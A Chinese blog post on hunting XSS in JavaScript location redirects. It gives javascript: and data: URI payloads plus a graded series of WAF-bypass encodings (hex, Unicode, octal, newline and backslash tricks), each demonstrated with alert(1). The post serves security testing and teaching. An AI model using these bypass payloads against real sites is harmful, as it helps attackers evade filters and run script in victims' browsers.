漏洞挖掘技巧之利用javascript:

  好久没更新博客了,更新一波。  

  场景:    

  window.location.href=””
  location=””
  location.href=””
  window.location.*

  

常见地点:任何二次跳转处
可能存在问题的参数:*_url ,url_*,url

危害:跳转和xss

    

首选xss
最简单的:
伪协议 ,以location为例子
location=”javascript:alert(1) ”
location=”javascript:alert(1) ”

利用伪协议2:
location=”data:html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg”
base64编码可以不要==

漏洞挖掘发现每次都过滤javascript:(这里不探讨过滤了alert怎么绕过。)
一系列绕过思路:
\x JS十六进制
javascript: -> \x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3a
location="\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1)"

 

 

 

\u Unicode编码
javascript:-> \u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003a

 

 

 

如果waf拦截了\x \u怎么绕过?
方法:换行攻击
\+换行[%0a]
java\%0ascript

 

 

%0a可以替换成%0d或者是%09

如果waf拦截了\x \u ,并且还拦截%0x怎么绕过?

方法: \r \n \t
随机插入
location="j\rava\nscript:\talert(1)"

 

多加几个\r\n\t没关系
location="j\rava\nscri\np\rt:\talert(1)"

 

如果waf拦截\x \u %0x,并且还过滤\r\n\t怎么绕过?
方法1:JS 八进制
javascript: -> \152\141\166\141\163\143\162\151\160\164\072
利用:
location="\152\141\166\141\163\143\162\151\160\164\072alert(1)"

 

 

 

方法2:万能的斜杠\
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
location="\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)"

 

 

少加点\也是可以的

 

 

 

排版有点差。。。我从doc文档复制过来的,将就看吧。

posted @ 2019-08-27 09:51  飘渺__红尘  阅读(...)  评论(... 编辑 收藏